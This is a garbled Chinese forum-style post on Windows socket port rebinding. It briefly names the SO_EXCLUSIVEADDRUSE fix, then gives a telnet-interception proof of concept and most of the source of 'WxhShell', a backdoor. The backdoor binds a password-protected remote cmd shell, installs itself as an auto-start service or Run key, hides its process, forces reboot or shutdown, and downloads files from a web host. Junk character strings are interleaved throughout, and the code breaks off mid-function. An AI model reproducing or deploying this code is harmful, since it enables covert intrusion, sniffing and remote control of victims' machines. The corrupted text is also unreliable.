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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^|vk^`S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OSUiS`k $ eL-fg saddr.sin_family = AF_INET; \VIY[6sn\M Yz[Rl
^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); zb[kRo&a0W g%]<sRl:- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?P|z,n{ !<j4*av:G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +?3RC$jyw L3Y2HZ 这意味着什么?意味着可以进行如下的攻击: C^'r>0 /<[_V/g[t? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZHeue_~x4 Uv.Xw} q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s/J7z$NEU $1d{R;b[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <W3p! 7z, $ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 OA9P"* 91&=UUkK? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2<n18-|OQ OPq|4xu 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,-EN{ed Z|UVH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *wmkcifF; nIB eZof #include k:~UBs\)( #include /o6ido #include
E>*b,^J7g #include n2AoEbd DWORD WINAPI ClientThread(LPVOID lpParam); KgD$P(J:[ int main() H*0g*( { +RpCh!KP WORD wVersionRequested; zCA8}](C^ DWORD ret; txnH~;( WSADATA wsaData; t'W6Fmwkx BOOL val; B[8RBTsA SOCKADDR_IN saddr; 8R\6hYJ%F SOCKADDR_IN scaddr; [D+PDR int err; GFbn>dY SOCKET s; G] tT=X[ SOCKET sc; b9i_\ int caddsize; B$s6|~ HANDLE mt; a}VR>!b DWORD tid; OraT$lV)_ wVersionRequested = MAKEWORD( 2, 2 ); 0]DX KI err = WSAStartup( wVersionRequested, &wsaData ); W6EEC<$JL if ( err != 0 ) { twldwuN printf("error!WSAStartup failed!\n"); !}U3{L- return -1; x7l}u`N4 } 6OC4?#96%' saddr.sin_family = AF_INET; sP@XV/`3L6 8aRmHy"9l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bw`? zd\* ^_G#JJ\@$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &"tQpw5 saddr.sin_port = htons(23); ny^uNIRPR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q |Pebe= { =w _T{V printf("error!socket failed!\n"); qa~ju\jm. return -1; dXY}B=C } P*?2+. val = TRUE; r
SoT]6/ //SO_REUSEADDR选项就是可以实现端口重绑定的 x?0(K=h, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lnn^j#n { ^HP$r* printf("error!setsockopt failed!\n"); MGwXZ7?E return -1; -Tuk.>i) } Qqb%^}Xx'u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *Y53bZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3~WI3ZIR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @*op5qVw q(s0dkrj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {t0!N]' { C$at9=(E6 ret=GetLastError(); wp~KrUlR printf("error!bind failed!\n"); 'X&"(M return -1; yl' IL#n]r } 5c%Fb:BW= listen(s,2); h=YTgJ while(1) z:dW 'U?1 { J$jLGy& ' caddsize = sizeof(scaddr); n3/Bs //接受连接请求 l_
x jsu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1dp8'f5^ if(sc!=INVALID_SOCKET) Z$Qwn { O6-';H:I]L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :u@ w; if(mt==NULL) v,rKuvc' { /!"sPtIh printf("Thread Creat Failed!\n"); yQu/({D break; 98zJ?NaD& } ~U8#yo } 9K&YHg:1 CloseHandle(mt); )r*F.m{&: } 1Nv qtVC closesocket(s); <Fl.W}?Q} WSACleanup(); B~<bc return 0; y?}<SnjP: } a)+*Gf7? DWORD WINAPI ClientThread(LPVOID lpParam) ),
VF] { 9a1R"%Z SOCKET ss = (SOCKET)lpParam; \)MzUOZn SOCKET sc; Esj1Vv# unsigned char buf[4096]; ^q}phj3E SOCKADDR_IN saddr; &;vMJ long num; a[!:`o1U DWORD val; V2 ;? DWORD ret; pnv)D}" //如果是隐藏端口应用的话,可以在此处加一些判断 ESS1 L$y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +H?
XqSC saddr.sin_family = AF_INET; ##]
` saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?6MUyH]a saddr.sin_port = htons(23); 9I1`* 0A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j{ri]?p { e<u~v0rDl printf("error!socket failed!\n"); Fb{HiU9<! return -1; 1[RI
07g7* } vBY?3p,0p val = 100; kk
CoOTe& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [-)BI|S: { ?%Pi#%P ret = GetLastError(); ;t.)A3 PL return -1; XzBl }4s } 56Lt "Z F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a63Ud<_a7 { 01%0u8U ret = GetLastError(); gHWsKE
% return -1; m{yq.H[X } NeewV=[% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W{}M${6& { 2rf#Bq?7 printf("error!socket connect failed!\n"); PP6gU=9[) closesocket(sc); '?mky,:HT closesocket(ss); ~Bt>Y return -1; )o::~ eu } [XA:pj;rg' while(1) B-$ps=G+z { /5f=a
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cdL0<J b, //如果是嗅探内容的话,可以再此处进行内容分析和记录 |Yi_|']# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *>lXCx num = recv(ss,buf,4096,0); `7 Nk; if(num>0) cm>+f ^4?n send(sc,buf,num,0); ~^g*cA
t} else if(num==0) %W2
o`W$ break; S)^eHuXPI num = recv(sc,buf,4096,0); jyRz53 if(num>0) 'z};tIOKJk send(ss,buf,num,0); c8o2* C$ else if(num==0) 8(-N;<Ef2 break; H ;HFen| } zK: 2.4 closesocket(ss); 6ZC~q=my closesocket(sc); \%#luk@: return 0 ; Oh7wyQiV } :-+j,G9t .7Itbp6=R qi1#s, ========================================================== X'7MW?
q@ Q6PMRG}/o 下边附上一个代码,,WXhSHELL P`n"E8"ab< 55Ye7P-d ========================================================== -wnBdL PW*[(VX #include "stdafx.h" qD}O_<_1ym ZP4y35&%y #include <stdio.h> rWuqlx# #include <string.h> 1z8fhE iiE #include <windows.h> @l~MY*hp #include <winsock2.h> Lyjp #include <winsvc.h> -
SCFWc #include <urlmon.h> Ec!R3+ *,XT;h$'> #pragma comment (lib, "Ws2_32.lib") HwBJUr91] #pragma comment (lib, "urlmon.lib") XpP}(A@G F:G
Vysy #define MAX_USER 100 // 最大客户端连接数 ;E\ e.R #define BUF_SOCK 200 // sock buffer 1KI5tf>>p #define KEY_BUFF 255 // 输入 buffer "A}2iI pxQh;w #define REBOOT 0 // 重启 >6z7.d #define SHUTDOWN 1 // 关机 ]Mgxv>zRbs `n%8y I% #define DEF_PORT 5000 // 监听端口 v-}D>)M^W aw1f;&K4 #define REG_LEN 16 // 注册表键长度 kNUNh[ #define SVC_LEN 80 // NT服务名长度 CN#2-[T T'%Rkag> // 从dll定义API k=.pcDX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6p~8(-nG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .!g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TI637yqCU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V_H0z "l-b(8n // wxhshell配置信息 T:w %RF[v9 struct WSCFG { 5G WC int ws_port; // 监听端口 [mG:PTK3 char ws_passstr[REG_LEN]; // 口令 ' "o2;J)7 int ws_autoins; // 安装标记, 1=yes 0=no 24d{ol) char ws_regname[REG_LEN]; // 注册表键名 2PVQSwW: char ws_svcname[REG_LEN]; // 服务名 esHcE{GNOS char ws_svcdisp[SVC_LEN]; // 服务显示名 TZE;$:1vx> char ws_svcdesc[SVC_LEN]; // 服务描述信息 +(o]E3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T=T1?@2C int ws_downexe; // 下载执行标记, 1=yes 0=no :>, m$XO char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ap .L=vn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [gE2;J0* d>`s+B9K0 }; Jgzg[6 h1Q rFPQnu // default Wxhshell configuration }LdeU:E4 struct WSCFG wscfg={DEF_PORT, K55]W2I9 "xuhuanlingzhe", ne'Y {n(8% 1, Jnq}SUev "Wxhshell", 2~W8tv0^b2 "Wxhshell", |F?/L> "WxhShell Service", `&o>7a; "Wrsky Windows CmdShell Service", d2<+Pp "Please Input Your Password: ", h[j(@P 1, Xwk_QFv3 " http://www.wrsky.com/wxhshell.exe", M[5fNK&nD "Wxhshell.exe" ,V #r }; &v&e-|r8; "I^pb.3 // 消息定义模块 "I&,':O+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PQ4)kVT char *msg_ws_prompt="\n\r? for help\n\r#>"; 5^GrG|~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :LX
(9f char *msg_ws_ext="\n\rExit."; [|oOP$u char *msg_ws_end="\n\rQuit."; JCZ 5q9b char *msg_ws_boot="\n\rReboot..."; pq<2:F:Kl char *msg_ws_poff="\n\rShutdown..."; C4t@;U=x char *msg_ws_down="\n\rSave to "; oa8xuFu(n `:;fc char *msg_ws_err="\n\rErr!"; vI+X9C? char *msg_ws_ok="\n\rOK!"; '&Tq/;Ml iKe68kx char ExeFile[MAX_PATH]; CJ[^Fi?CH int nUser = 0; >`Zw0S HANDLE handles[MAX_USER]; APL #-`XC int OsIsNt; TWo.c _l vS+E`[ SERVICE_STATUS serviceStatus; tJZ3P@ L SERVICE_STATUS_HANDLE hServiceStatusHandle; _D~FwF&A 3v:c'R0 // 函数声明 oh^QW`#( int Install(void); 5SwQ9# int Uninstall(void); DeRC_ [ int DownloadFile(char *sURL, SOCKET wsh); -!pg1w06 int Boot(int flag); 3`DwKv`+ void HideProc(void); ?<eH!MHF int GetOsVer(void); *odwg$ int Wxhshell(SOCKET wsl); kU[#.
y=%p void TalkWithClient(void *cs); ?
EXYLG int CmdShell(SOCKET sock); fs%l j_t int StartFromService(void); )w&k&TY4H int StartWxhshell(LPSTR lpCmdLine); R{SN.% {; C(lGW,! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "}jv5j5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); lc\f6J>HT nM6/c // 数据结构和表定义 ;\)N7SJ SERVICE_TABLE_ENTRY DispatchTable[] = ) E(9
R( { WeRX ~ {wscfg.ws_svcname, NTServiceMain}, #tQ__V {NULL, NULL} h(3ko
An }; D;WQNlTU \ q=Bbfzv // 自我安装 G7d)X^q!xS int Install(void) KPMId`kf { +C){&/=# char svExeFile[MAX_PATH]; ":,J<|Oy HKEY key; ok<!/"RX$ strcpy(svExeFile,ExeFile); a;[=bp a<mM
)[U // 如果是win9x系统,修改注册表设为自启动 \XT~5N6 if(!OsIsNt) { )MU)'1jc, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o<nkK+=Afm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >.f'_2#Z& RegCloseKey(key); v* /}s :a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `%A>{ A" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {/PiX1mn RegCloseKey(key); e95@4f^K2 return 0; Ob>M]udn } 23~KzC } \S`|7JYW } 8S*W+l19f else { %:hU:+G E v\b@;H` // 如果是NT以上系统,安装为系统服务 ,T\)%q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5t-dvYgU if (schSCManager!=0) -x0VvkHu { .0f6b SC_HANDLE schService = CreateService v'H\KR-; ( 55]E<2't schSCManager, %_%/ym wscfg.ws_svcname, UCF'%R wscfg.ws_svcdisp, z]O,Vqpl? SERVICE_ALL_ACCESS, B$@fE} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2P4$^G[ SERVICE_AUTO_START, ;E]^7T SERVICE_ERROR_NORMAL, GtSvb6UNn svExeFile, >xJh!w<pB NULL, w,v~ NULL, 9$oU6#U,h NULL, 1feS/l$ NULL, pX v@QD#! NULL t
(>} ); &S|%>C{P.w if (schService!=0) hAv.rjhw_ { _k2*2db CloseServiceHandle(schService); nFY6K%[ CloseServiceHandle(schSCManager); VQ((c:+! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oD>j26Q strcat(svExeFile,wscfg.ws_svcname); :Mq-4U.e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q=(.N>% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); An0Zg'o!G RegCloseKey(key); ;&v~tD7 return 0; ri?>@i-9= } 3'D<'S}[ } "ZU CYYre CloseServiceHandle(schSCManager); _yJAn\ } R#0Z } ?YTngIa g(Dr/D return 1; ^~Dmb2h } vsL)E:0 E |BE(F;K // 自我卸载 NHjZ`=Js int Uninstall(void) C/L+gU& { 7xr@$-U HKEY key; w;Jby N akSIGm if(!OsIsNt) { fXJbC+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [TFd|ywn RegDeleteValue(key,wscfg.ws_regname); 7(oX1hN RegCloseKey(key); vOKWi:-U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { quEP" RegDeleteValue(key,wscfg.ws_regname); lE@ V>%b RegCloseKey(key); C_~hX G return 0; 8Q2qroT } ':jsCeSB } @CJ`T& } e dv&! else { V`/D!8> FhkS"y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2y0J~P! I if (schSCManager!=0) ,m)k;co^ { [hl8LP+~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sKK*{+,kh; if (schService!=0) =T0;F0@#4 { ]s))O6^f if(DeleteService(schService)!=0) {
l,n
V*Z CloseServiceHandle(schService); bXw!fYm& CloseServiceHandle(schSCManager); fi.[a8w:W return 0; QSxR@hC } 3w-0IP]< CloseServiceHandle(schService); $V0G[!4 } Bl"BmUn CloseServiceHandle(schSCManager); =KctAR; } 5RysN=czA } `f~\d.*U QxaW
x return 1; g} /efE } V{yP/X
/P>t3E2c // 从指定url下载文件 ZgP~VB0)$ int DownloadFile(char *sURL, SOCKET wsh) 2Vn~o_ga { +=Q/'g
HRESULT hr; |\W9$V char seps[]= "/"; i:coNK)4 char *token; E1&9( L5 char *file; 4%s6 d,6" char myURL[MAX_PATH]; p]-\\o} char myFILE[MAX_PATH]; 7|/Ct;oO: f0lpwwe strcpy(myURL,sURL); |pA token=strtok(myURL,seps); g$N/pg2>cT while(token!=NULL) [10y 13 { >&z=ktB file=token; =5v=<, ] token=strtok(NULL,seps); */7+pk( } Tt.#O~2:9 G'M;]R9EP GetCurrentDirectory(MAX_PATH,myFILE); K#e&yY strcat(myFILE, "\\"); k+D"LA%J strcat(myFILE, file); mz'r<v2Tc send(wsh,myFILE,strlen(myFILE),0); BM,]Wjfdj send(wsh,"...",3,0); %]m/fo4b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h'tb if(hr==S_OK) @3Lh/& return 0; Duu)8ru else &P@dx=6d return 1; Q,f~7IVX b-+~D9U< } 0S%xm'|N pmIOV~K // 系统电源模块 {|E' int Boot(int flag) 7^2 { O_kBAC-|R( HANDLE hToken; 26&$vgO~: TOKEN_PRIVILEGES tkp; oE
H""Bd 9[5qN!P;y if(OsIsNt) { |g@n'^] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5C|Y-G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T.}wcQf&* tkp.PrivilegeCount = 1; UBm L:Qv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8?za&v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RZgklEU if(flag==REBOOT) { LrGLIt` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8nj^x?bn return 0; sT*D]J
2 } :"~SKJm else { S /kM# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4*D'zJsJ return 0; Hrk]6* } \|gE=5!Am= } z[0+9=<Y else { <0w"$.K#3 if(flag==REBOOT) { cR*5iqA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2:6W_[7l! return 0; <y}9Twdy } l
10p'9n else { g5OKhL0u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x%!Ea{s return 0; 2YbI."ob } D"z3SLFW{ } O)jpnNz R[#vFQ return 1; +I$,Y~&`> } /FthT Xv&&U@7 // win9x进程隐藏模块 (^@rr[.o7 void HideProc(void) d:X@zUR*) { @CTSvTt$ 0ap_tCY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^xt @ if ( hKernel != NULL ) X7g@.Oy` { AL;z's(F? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #B!HPlrv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'nMj<:0wlD FreeLibrary(hKernel); 6L!/#d0 } \2c3Nsra E-`3}"{ return; p=jpk@RX } #lY_XV. VRs|"; // 获取操作系统版本 x<'<E@jpU; int GetOsVer(void) ]J(BaX4 { @PZ{( OSVERSIONINFO winfo; B4Fuvi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J85S'cwZZ GetVersionEx(&winfo); 0Xw$l3@N^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T2ZB(B D return 1; TFAd
else 3cA'9 return 0; * @=ZzL } x##0s5Qn B" 0a5-pkr // 客户端句柄模块 N*`qsv0 int Wxhshell(SOCKET wsl) H,3WdSL`K { K0usBA SOCKET wsh; )4e8LO struct sockaddr_in client; z@21Z`, DWORD myID; L+X:M/) )vsX (/WU while(nUser<MAX_USER) <0!O'" "J { YctWSfh int nSize=sizeof(client); SYd6D@^2j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I !J' if(wsh==INVALID_SOCKET) return 1; jf^BEz5 EvKzpxCh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X=KC+1e if(handles[nUser]==0) W8_$]}G8E closesocket(wsh); mz|p=[lR| else j>`-BN_ nUser++; ~Jh1$O,9o } 3OB=D{$V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F;L8FL-
'N3)>!Y:8 return 0; y}U}AUt } sR4B/1'E o* ~aB_ // 关闭 socket f}t8V% ^E void CloseIt(SOCKET wsh) <2SWfH1> { g.*DlD%% closesocket(wsh); M5kw3Jy 5 nUser--; CUN1.i<pk8 ExitThread(0); 1N}vz(0" } eBWgAf.k 4q"4N2 // 客户端请求句柄 <Ej`zGhWz void TalkWithClient(void *cs) 4D}hYk$eP0 { = inp>L #\8"d SOCKET wsh=(SOCKET)cs; Am!OLGG4 char pwd[SVC_LEN]; ka_(8 char cmd[KEY_BUFF]; ifcp!l+8 char chr[1]; al" =ld( int i,j; `=$p!H8 1Ror1%Q"? while (nUser < MAX_USER) { fKW)h?.Kd G*f\
/ if(wscfg.ws_passstr) { YsMM$rjP+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `W:z#uNG] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +BVY9U?\" //ZeroMemory(pwd,KEY_BUFF); TM5 Y(Q* i=0; '3b'moy while(i<SVC_LEN) { 61w
({F %:v<&^oDlm // 设置超时 ` {qt4zd0 fd_set FdRead; ~F^tLi!5 struct timeval TimeOut; _= cU2 FD_ZERO(&FdRead); ed2r<H$ FD_SET(wsh,&FdRead); xnfJruT TimeOut.tv_sec=8; DL<;qhte TimeOut.tv_usec=0; K)9Rw2-AJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #aQQd8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uM\5GK S=gby if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .1}1e;f- pwd =chr[0]; d'"|Qg_' if(chr[0]==0xd || chr[0]==0xa) { +0?1"2 pwd=0; Gj?$HFa break; ('{aOiSH } Gr 4v&Mz: i++; T%;V_iW- } HB{'MBs ps;d bY*s6 // 如果是非法用户,关闭 socket 4l7
Ny\J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
`8S3Y } vz~Oi 14"+ctq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?5jLN&A3 G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |dz"uIrT |RXQ_| while(1) { $}.+}'7$ x5CMP%}d ZeroMemory(cmd,KEY_BUFF); lWecxD$ r^a:s] // 自动支持客户端 telnet标准 "g)V&Lx#X j=0; DR{O.TX while(j<KEY_BUFF) { `KN>0R2k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %ioVNbrR7 cmd[j]=chr[0]; cS'{h if(chr[0]==0xa || chr[0]==0xd) { } lDX3h cmd[j]=0; S2e3d break; tRpY+s~Fq } 6UqAs<c9 j++; f@$W5*j } <zL_6Y2 2Kf/I d1 // 下载文件 pY@QR?F\ if(strstr(cmd,"http://")) { ?].MnwYo send(wsh,msg_ws_down,strlen(msg_ws_down),0); n|{#5# if(DownloadFile(cmd,wsh)) OxYAM,F send(wsh,msg_ws_err,strlen(msg_ws_err),0); SAdE9L =d else \yu7,v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t^KQ*8clG } 4~&3.1 else { _
,s^ GdcXU:J / switch(cmd[0]) { .whi0~i c)LG+K // 帮助 ^8;MY5Wbs case '?': { g{Al:}u> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B=r DU$z break; HWsV_VAw} } Q(]m1\a // 安装 OemY'M?ZQ case 'i': { h AAh if(Install()) V:GypY) send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.vWZ7l8 else *{vH9TO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -dixiJ= break; fwv^dEe } Rey+3*zUb // 卸载 xy7A^7Li case 'r': { A{
~D_q if(Uninstall()) a8JAJkFB send(wsh,msg_ws_err,strlen(msg_ws_err),0); wKLYyetM! else ?E"192,z@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:!(=(4$P break; 6X*vCylI } wn5OgXxG< // 显示 wxhshell 所在路径 LDc EjFK( case 'p': { RJ'[m~yl5X char svExeFile[MAX_PATH]; SK\@w9#&$ strcpy(svExeFile,"\n\r"); .DhI3'Jrl strcat(svExeFile,ExeFile); 5[jcw` send(wsh,svExeFile,strlen(svExeFile),0); ng3ZK break;
C '(
Y } 1`K-f
m) // 重启 Y7.+
Ma#| case 'b': { =G:Krc8w@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }ouGxs+^[ if(Boot(REBOOT)) /AD&z?My+E send(wsh,msg_ws_err,strlen(msg_ws_err),0); E+lR&~mK= else { b!]O]dk# closesocket(wsh); C8|V?bL ExitThread(0); YCD|lL# } t2o{=!$WH break; +Ww] %`_ } o1ZVEvp // 关机 ayA;6Qt case 'd': { ojy^A send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _u[tv, if(Boot(SHUTDOWN)) }ssV"5M send(wsh,msg_ws_err,strlen(msg_ws_err),0); LS[o7 !T( else { S[zvR9AW& closesocket(wsh); 4u:SE ExitThread(0); jsN[Drr a } bFG~08Z ,d break; CT[9=wV)m% } t(#9.b`W) // 获取shell ?}KRAtJ8 case 's': { Ab@G^SLX CmdShell(wsh); tP@NQCo closesocket(wsh); )%K<pIk ExitThread(0); e'K~WNT break; >5-1?vi } |Mb{0mKb // 退出 pN[WYM?[ case 'x': { )dkU4] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |8k1Bap`z CloseIt(wsh); f!x9% break; 4H#-2LV` } G,)zn9X // 离开 ,.<mj !YE case 'q': { ?@ oF@AEx= send(wsh,msg_ws_end,strlen(msg_ws_end),0); XQy`5iv closesocket(wsh); [[$CtqLg WSACleanup(); 5%I3eL%s exit(1); Z mJ<h& break; oPKLr31zt } <o%T] } ]>X_E%`G<b } KnG7w^ zS%XmS\ // 提示信息 aD: #AmbJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -uYxc=4Lh } &en.
m>9, } 8%9 C<+.R 17s~mqy return; K?uZIDo } fu5L)P^T \qG?'Iy // shell模块句柄 ?\o~P int CmdShell(SOCKET sock) XO
<0;9| { ,#)d STARTUPINFO si; >bW=oTFz ZeroMemory(&si,sizeof(si)); 8<L{\$3HP| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EOB8|:* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "`% ,l|D PROCESS_INFORMATION ProcessInfo; `dvg5qQ char cmdline[]="cmd"; \BnU?z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xgk~%X%K return 0; l)NkTZ<] } tl0|.Q, DPI[~ // 自身启动模式 L8`v int StartFromService(void) Tdi^P}i_ { .!o]oM
U/ typedef struct 91]|4k93 { cfIC(d DWORD ExitStatus; le/j! DWORD PebBaseAddress; KuP#i]Na DWORD AffinityMask; '-v:"%s| DWORD BasePriority; {[!<yUJ`S# ULONG UniqueProcessId; ozRO:*51 ULONG InheritedFromUniqueProcessId; v5M4Rs&t } PROCESS_BASIC_INFORMATION; h*fN]k6 =ANr|d PROCNTQSIP NtQueryInformationProcess;
t;o\"H F'K >@y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cr!8Tp;2A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P*&[9)d6
'FXM7D HANDLE hProcess; DsMo_m/"1 PROCESS_BASIC_INFORMATION pbi; JR]2Ray aF
2vgE\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lx+;<la if(NULL == hInst ) return 0; :+"4_f0 MqZ"Js g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
